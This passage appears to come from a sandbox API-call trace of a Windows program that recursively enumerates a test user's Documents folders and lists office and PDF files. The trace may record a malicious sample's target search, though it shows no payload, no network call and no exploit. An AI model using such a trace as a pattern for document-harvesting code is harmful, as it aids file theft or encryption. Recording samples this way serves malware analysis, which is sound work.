ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0221.523] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0221.523] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9cfa0) returned 1 [0221.523] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9cf60) returned 1 [0221.523] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9d070) returned 1 [0221.524] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\tCIJJB2\\LRuwSurnerX0\\ln27HP\\6JrO5DdCBmUI", nBufferLength=0x105, lpBuffer=0x1db9cb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Documents\\tCIJJB2\\LRuwSurnerX0\\ln27HP\\6JrO5DdCBmUI", lpFilePart=0x0) returned 0x48 [0221.524] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\tCIJJB2\\LRuwSurnerX0\\ln27HP\\6JrO5DdCBmUI\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\documents\\tcijjb2\\lruwsurnerx0\\ln27hp\\6jro5ddcbmui\\*"), lpFindFileData=0x1db9cd80 | out: lpFindFileData=0x1db9cd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf35a9b00, ftCreationTime.dwHighDateTime=0x1d99938, ftLastAccessTime.dwLowDateTime=0xc7bc3620, ftLastAccessTime.dwHighDateTime=0x1d99ae1, ftLastWriteTime.dwLowDateTime=0xc7bc3620, ftLastWriteTime.dwHighDateTime=0x1d99ae1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5cb0 [0221.524] FindNextFileW (in: hFindFile=0x1d1f5cb0, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf35a9b00, ftCreationTime.dwHighDateTime=0x1d99938, ftLastAccessTime.dwLowDateTime=0xc7bc3620, ftLastAccessTime.dwHighDateTime=0x1d99ae1, ftLastWriteTime.dwLowDateTime=0xc7bc3620, ftLastWriteTime.dwHighDateTime=0x1d99ae1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.524] FindNextFileW (in: hFindFile=0x1d1f5cb0, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b0140d0, ftCreationTime.dwHighDateTime=0x1d99563, ftLastAccessTime.dwLowDateTime=0x9b44e360, ftLastAccessTime.dwHighDateTime=0x1d99bfb, ftLastWriteTime.dwLowDateTime=0x9b44e360, ftLastWriteTime.dwHighDateTime=0x1d99bfb, nFileSizeHigh=0x0, nFileSizeLow=0x10a99, dwReserved0=0x0, dwReserved1=0x0, cFileName="Egk-m.pptx", cAlternateFileName="EGK-M~1.PPT")) returned 1 [0221.524] FindNextFileW (in: hFindFile=0x1d1f5cb0, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde4ad740, ftCreationTime.dwHighDateTime=0x1d98f2c, ftLastAccessTime.dwLowDateTime=0x94b50c70, ftLastAccessTime.dwHighDateTime=0x1d99a73, ftLastWriteTime.dwLowDateTime=0x94b50c70, ftLastWriteTime.dwHighDateTime=0x1d99a73, nFileSizeHigh=0x0, nFileSizeLow=0xd119, dwReserved0=0x0, dwReserved1=0x0, cFileName="Na5lJ0umQDqs_857KA8J.odt", cAlternateFileName="NA5LJ0~1.ODT")) returned 1 [0221.525] FindNextFileW (in: hFindFile=0x1d1f5cb0, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde4ad740, ftCreationTime.dwHighDateTime=0x1d98f2c, ftLastAccessTime.dwLowDateTime=0x94b50c70, ftLastAccessTime.dwHighDateTime=0x1d99a73, ftLastWriteTime.dwLowDateTime=0x94b50c70, ftLastWriteTime.dwHighDateTime=0x1d99a73, nFileSizeHigh=0x0, nFileSizeLow=0xd119, dwReserved0=0x0, dwReserved1=0x0, cFileName="Na5lJ0umQDqs_857KA8J.odt", cAlternateFileName="NA5LJ0~1.ODT")) returned 0 [0221.525] FindClose (in: hFindFile=0x1d1f5cb0 | out: hFindFile=0x1d1f5cb0) returned 1 [0221.525] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9cfa0) returned 1 [0221.525] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9cf60) returned 1 [0221.525] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9dff0) returned 1 [0221.525] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\tCIJJB2\\s2g8-azJNisE", nBufferLength=0x105, lpBuffer=0x1db9dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Documents\\tCIJJB2\\s2g8-azJNisE", lpFilePart=0x0) returned 0x34 [0221.525] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\tCIJJB2\\s2g8-azJNisE\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\documents\\tcijjb2\\s2g8-azjnise\\*"), lpFindFileData=0x1db9dd00 | out: lpFindFileData=0x1db9dd00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9567e0, ftCreationTime.dwHighDateTime=0x1d99bc9, ftLastAccessTime.dwLowDateTime=0x7b059df0, ftLastAccessTime.dwHighDateTime=0x1d99c51, ftLastWriteTime.dwLowDateTime=0x7b059df0, ftLastWriteTime.dwHighDateTime=0x1d99c51, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0221.526] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9567e0, ftCreationTime.dwHighDateTime=0x1d99bc9, ftLastAccessTime.dwLowDateTime=0x7b059df0, ftLastAccessTime.dwHighDateTime=0x1d99c51, ftLastWriteTime.dwLowDateTime=0x7b059df0, ftLastWriteTime.dwHighDateTime=0x1d99c51, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.526] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75bc5730, ftCreationTime.dwHighDateTime=0x1d99a0d, ftLastAccessTime.dwLowDateTime=0x13a4f750, ftLastAccessTime.dwHighDateTime=0x1d99cf1, ftLastWriteTime.dwLowDateTime=0x13a4f750, ftLastWriteTime.dwHighDateTime=0x1d99cf1, nFileSizeHigh=0x0, nFileSizeLow=0x10272, dwReserved0=0x0, dwReserved1=0x0, cFileName="0ux3fYza4j9oCnu.pptx", cAlternateFileName="0UX3FY~1.PPT")) returned 1 [0221.526] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ce9470, ftCreationTime.dwHighDateTime=0x1d99896, ftLastAccessTime.dwLowDateTime=0x5a996840, ftLastAccessTime.dwHighDateTime=0x1d9998a, ftLastWriteTime.dwLowDateTime=0x5a996840, ftLastWriteTime.dwHighDateTime=0x1d9998a, nFileSizeHigh=0x0, nFileSizeLow=0x10e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dv0NWPrNRmU.xls", cAlternateFileName="DV0NWP~1.XLS")) returned 1 [0221.526] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc97bb8b0, ftCreationTime.dwHighDateTime=0x1d99347, ftLastAccessTime.dwLowDateTime=0x29ea2900, ftLastAccessTime.dwHighDateTime=0x1d998b3, ftLastWriteTime.dwLowDateTime=0x29ea2900, ftLastWriteTime.dwHighDateTime=0x1d998b3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="elxihjlyljNh8UFO8km", cAlternateFileName="ELXIHJ~1")) returned 1 [0221.527] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeabc1d0, ftCreationTime.dwHighDateTime=0x1d995ca, ftLastAccessTime.dwLowDateTime=0xe45be100, ftLastAccessTime.dwHighDateTime=0x1d998a6, ftLastWriteTime.dwLowDateTime=0xe45be100, ftLastWriteTime.dwHighDateTime=0x1d998a6, nFileSizeHigh=0x0, nFileSizeLow=0xf869, dwReserved0=0x0, dwReserved1=0x0, cFileName="GSPNV_BgS3gdxh.odt", cAlternateFileName="GSPNV_~1.ODT")) returned 1 [0221.527] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x951f4490, ftCreationTime.dwHighDateTime=0x1d99510, ftLastAccessTime.dwLowDateTime=0x1e8a2d0, ftLastAccessTime.dwHighDateTime=0x1d99910, ftLastWriteTime.dwLowDateTime=0x1e8a2d0, ftLastWriteTime.dwHighDateTime=0x1d99910, nFileSizeHigh=0x0, nFileSizeLow=0xfa23, dwReserved0=0x0, dwReserved1=0x0, cFileName="QnsuFepSH4jhFq6.ods", cAlternateFileName="QNSUFE~1.ODS")) returned 1 [0221.527] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82346a60, ftCreationTime.dwHighDateTime=0x1d999af, ftLastAccessTime.dwLowDateTime=0x33e57b90, ftLastAccessTime.dwHighDateTime=0x1d99af6, ftLastWriteTime.dwLowDateTime=0x33e57b90, ftLastWriteTime.dwHighDateTime=0x1d99af6, nFileSizeHigh=0x0, nFileSizeLow=0x9b67, dwReserved0=0x0, dwReserved1=0x0, cFileName="wdX-wn.pdf", cAlternateFileName="")) returned 1 [0221.527] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57840e80, ftCreationTime.dwHighDateTime=0x1d99c96, ftLastAccessTime.dwLowDateTime=0x883dcbf0, ftLastAccessTime.dwHighDateTime=0x1d99ce7, ftLastWriteTime.dwLowDateTime=0x883dcbf0, ftLastWriteTime.dwHighDateTime=0x1d99ce7, nFileSizeHigh=0x0, nFileSizeLow=0xc03d, dwReserved0=0x0, dwReserved1=0x0, cFileName="y qA1HhB.ods", cAlternateFileName="YQA1HH~1.ODS")) returned 1 [0221.527] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0221.528] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0221.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9df20) returned 1 [0221.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9dee0) returned 1 [0221.528] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9dff0) returned 1 [0221.528] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\tCIJJB2\\s2g8-azJNisE", nBufferLength=0x105, lpBuffer=0x1db9dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Documents\\tCIJJB2\\s2g8-azJNisE", lpFilePart=0x0) returned 0x34 [0221.528] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\tCIJJB2\\s2g8-azJNisE\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\documents\\tcijjb2\\s2g8-azjnise\\*"), lpFindFileData=0x1db9dd00 | out: lpFindFileData=0x1db9dd00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9567e0, ftCreationTime.dwHighDateTime=0x1d99bc9, ftLastAccessTime.dwLowDateTime=0x7b059df0, ftLastAccessTime.dwHighDateTime=0x1d99c51, ftLastWriteTime.dwLowDateTime=0x7b059df0, ftLastWriteTime.dwHighDateTime=0x1d99c51, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0221.528] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9567e0, ftCreationTime.dwHighDateTime=0x1d99bc9, ftLastAccessTime.dwLowDateTime=0x7b059df0, ftLastAccessTime.dwHighDateTime=0x1d99c51, ftLastWriteTime.dwLowDateTime=0x7b059df0, ftLastWriteTime.dwHighDateTime=0x1d99c51, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.529] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75bc5730, ftCreationTime.dwHighDateTime=0x1d99a0d, ftLastAccessTime.dwLowDateTime=0x13a4f750, ftLastAccessTime.dwHighDateTime=0x1d99cf1, ftLastWriteTime.dwLowDateTime=0x13a4f750, ftLastWriteTime.dwHighDateTime=0x1d99cf1, nFileSizeHigh=0x0, nFileSizeLow=0x10272, dwReserved0=0x0, dwReserved1=0x0, cFileName="0ux3fYza4j9oCnu.pptx", cAlternateFileName="0UX3FY~1.PPT")) returned 1 [0221.529] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ce9470, ftCreationTime.dwHighDateTime=0x1d99896, ftLastAccessTime.dwLowDateTime=0x5a996840, ftLastAccessTime.dwHighDateTime=0x1d9998a, ftLastWriteTime.dwLowDateTime=0x5a996840, ftLastWriteTime.dwHighDateTime=0x1d9998a, nFileSizeHigh=0x0, nFileSizeLow=0x10e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dv0NWPrNRmU.xls", cAlternateFileName="DV0NWP~1.XLS")) returned 1 [0221.529] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc97bb8b0, ftCreationTime.dwHighDateTime=0x1d99347, ftLastAccessTime.dwLowDateTime=0x29ea2900, ftLastAccessTime.dwHighDateTime=0x1d998b3, ftLastWriteTime.dwLowDateTime=0x29ea2900, ftLastWriteTime.dwHighDateTime=0x1d998b3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="elxihjlyljNh8UFO8km", cAlternateFileName="ELXIHJ~1")) returned 1 [0221.529] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeabc1d0, ftCreationTime.dwHighDateTime=0x1d995ca, ftLastAccessTime.dwLowDateTime=0xe45be100, ftLastAccessTime.dwHighDateTime=0x1d998a6, ftLastWriteTime.dwLowDateTime=0xe45be100, ftLastWriteTime.dwHighDateTime=0x1d998a6, nFileSizeHigh=0x0, nFileSizeLow=0xf869, dwReserved0=0x0, dwReserved1=0x0, cFileName="GSPNV_BgS3gdxh.odt", cAlternateFileName="GSPNV_~1.ODT")) returned 1 [0221.530] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x951f4490, ftCreationTime.dwHighDateTime=0x1d99510, ftLastAccessTime.dwLowDateTime=0x1e8a2d0, ftLastAccessTime.dwHighDateTime=0x1d99910, ftLastWriteTime.dwLowDateTime=0x1e8a2d0, ftLastWriteTime.dwHighDateTime=0x1d99910, nFileSizeHigh=0x0, nFileSizeLow=0xfa23, dwReserved0=0x0, dwReserved1=0x0, cFileName="QnsuFepSH4jhFq6.ods", cAlternateFileName="QNSUFE~1.ODS")) returned 1 [0221.530] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82346a60, ftCreationTime.dwHighDateTime=0x1d999af, ftLastAccessTime.dwLowDateTime=0x33e57b90, ftLastAccessTime.dwHighDateTime=0x1d99af6, ftLastWriteTime.dwLowDateTime=0x33e57b90, ftLastWriteTime.dwHighDateTime=0x1d99af6, nFileSizeHigh=0x0, nFileSizeLow=0x9b67, dwReserved0=0x0, dwReserved1=0x0, cFileName="wdX-wn.pdf", cAlternateFileName="")) returned 1 [0221.530] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57840e80, ftCreationTime.dwHighDateTime=0x1d99c96, ftLastAccessTime.dwLowDateTime=0x883dcbf0, ftLastAccessTime.dwHighDateTime=0x1d99ce7, ftLastWriteTime.dwLowDateTime=0x883dcbf0, ftLastWriteTime.dwHighDateTime=0x1d99ce7, nFileSizeHigh=0x0, nFileSizeLow=0xc03d, dwReserved0=0x0, dwReserved1=0x0, cFileName="y qA1HhB.ods", cAlternateFileName="YQA1HH~1.ODS")) returned 1 [0221.530] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57840e80, ftCreationTime.dwHighDateTime=0x1d99c96, ftLastAccessTime.dwLowDateTime=0x883dcbf0, ftLastAccessTime.dwHighDateTime=0x1d99ce7, ftLastWriteTime.dwLowDateTime=0x883dcbf0, ftLastWriteTime.dwHighDateTime=0x1d99ce7, nFileSizeHigh=0x0, nFileSizeLow=0xc03d, dwReserved0=0x0, dwReserved1=0x0, cFileName="y qA1HhB.ods", cAlternateFileName="YQA1HH~1.ODS")) returned 0 [0221.531] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0221.531] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9df20) returned 1 [0221.531] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9dee0) returned 1 [0221.892] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9d830) returned 1 [0221.892] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\tCIJJB2\\s2g8-azJNisE\\elxihjlyljNh8UFO8km", nBufferLength=0x105, lpBuffer=0x1db9d310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Documents\\tCIJJB2\\s2g8-azJNisE\\elxihjlyljNh8UFO8km", lpFilePart=0x0) returned 0x48 [0221.904] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\tCIJJB2\\s2g8-azJNisE\\elxihjlyljNh8UFO8km\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\documents\\tcijjb2\\s2g8-azjnise\\elxihjlyljnh8ufo8km\\*"), lpFindFileData=0x1db9d540 | out: lpFindFileData=0x1db9d540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc97bb8b0, ftCreationTime.dwHighDateTime=0x1d99347, ftLastAccessTime.dwLowDateTime=0x29ea2900, ftLastAccessTime.dwHighDateTime=0x1d998b3, ftLastWriteTime.dwLowDateTime=0x29ea2900, ftLastWriteTime.dwHighDateTime=0x1d998b3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0221.913] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc97bb8b0, ftCreationTime.dwHighDateTime=0x1d99347, ftLastAccessTime.dwLowDateTime=0x29ea2900, ftLastAccessTime.dwHighDateTime=0x1d998b3, ftLastWriteTime.dwLowDateTime=0x29ea2900, ftLastWriteTime.dwHighDateTime=0x1d998b3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.913] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbbe7b880, ftCreationTime.dwHighDateTime=0x1d996b6, ftLastAccessTime.dwLowDateTime=0x29153360, ftLastAccessTime.dwHighDateTime=0x1d997cf, ftLastWriteTime.dwLowDateTime=0x29153360, ftLastWriteTime.dwHighDateTime=0x1d997cf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0EiD3JlF5Jr WNnCBsF", cAlternateFileName="0EID3J~1")) returned 1 [0221.913] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbbe7b880, ftCreationTime.dwHighDateTime=0x1d996b6, ftLastAccessTime.dwLowDateTime=0x29153360, ftLastAccessTime.dwHighDateTime=0x1d997cf, ftLastWriteTime.dwLowDateTime=0x29153360, ftLastWriteTime.dwHighDateTime=0x1d997cf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0EiD3JlF5Jr WNnCBsF", cAlternateFileName="0EID3J~1")) returned 0 [0221.913] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0221.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d760) returned 1 [0221.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d720) returned 1 [0221.913] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9d830) returned 1 [0221.913] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\tCIJJB2\\s2g8-azJNisE\\elxihjlyljNh8UFO8km", nBufferLength=0x105, lpBuffer=0x1db9d310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Documents\\tCIJJB2\\s2g8-azJNisE\\elxihjlyljNh8UFO8km", lpFilePart=0x0) returned 0x48 [0221.914] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\tCIJJB2\\s2g8-azJNisE\\elxihjlyljNh8UFO8km\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\documents\\tcijjb2\\s2g8-azjnise\\elxihjlyljnh8ufo8km\\*"), lpFindFileData=0x1db9d540 | out: lpFindFileData=0x1db9d540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc97bb8b0, ftCreationTime.dwHighDateTime=0x1d99347, ftLastAccessTime.dwLowDateTime=0x29ea2900, ftLastAccessTime.dwHighDateTime=0x1d998b3, ftLastWriteTime.dwLowDateTime=0x29ea2900, ftLastWriteTime.dwHighDateTime=0x1d998b3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5b90 [0222.172] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc97bb8b0, ftCreationTime.dwHighDateTime=0x1d99347, ftLastAccessTime.dwLowDateTime=0x29ea2900, ftLastAccessTime.dwHighDateTime=0x1d998b3, ftLastWriteTime.dwLowDateTime=0x29ea2900, ftLastWriteTime.dwHighDateTime=0x1d998b3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.186] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbbe7b880, ftCreationTime.dwHighDateTime=0x1d996b6, ftLastAccessTime.dwLowDateTime=0x29153360, ftLastAccessTime.dwHighDateTime=0x1d997cf, ftLastWriteTime.dwLowDateTime=0x29153360, ftLastWriteTime.dwHighDateTime=0x1d997cf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0EiD3JlF5Jr WNnCBsF", cAlternateFileName="0EID3J~1")) returned 1 [0222.186] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0222.186] FindClose (in: hFindFile=0x1d1f5b90 | out: hFindFile=0x1d1f5b90) returned 1 [0222.187] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d760) returned 1 [0222.187] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d720) returned 1 [0222.195] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9d070) returned 1 [0222.195] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\tCIJJB2\\s2g8-azJNisE\\elxihjlyljNh8UFO8km\\0EiD3JlF5Jr WNnCBsF", nBufferLength=0x105, lpBuffer=0x1db9cb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Documents\\tCIJJB2\\s2g8-azJNisE\\elxihjlyljNh8UFO8km\\0EiD3JlF5Jr WNnCBsF", lpFilePart=0x0) returned 0x5c [0222.199] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\tCIJJB2\\s2g8-azJNisE\\elxihjlyljNh8UFO8km\\0EiD3JlF5Jr WNnCBsF\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\documents\\tcijjb2\\s2g8-azjnise\\elxihjlyljnh8ufo8km\\0eid3jlf5jr wnncbsf\\*"), lpFindFileData=0x1db9cd80 | out: lpFindFileData=0x1db9cd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbbe7b880, ftCreationTime.dwHighDateTime=0x1d996b6, ftLastAccessTime.dwLowDateTime=0x29153360, ftLastAccessTime.dwHighDateTime=0x1d997cf, ftLastWriteTime.dwLowDateTime=0x29153360, ftLastWriteTime.dwHighDateTime=0x1d997cf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5cb0 [0222.211] FindNextFileW (in: hFindFile=0x1d1f5cb0, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbbe7b880, ftCreationTime.dwHighDateTime=0x1d996b6, ftLastAccessTime.dwLowDateTime=0x29153360, ftLastAccessTime.dwHighDateTime=0x1d997cf, ftLastWriteTime.dwLowDateTime=0x29153360, ftLastWriteTime.dwHighDateTime=0x1d997cf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.211] FindNextFileW (in: hFindFile=0x1d1f5cb0, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x20, 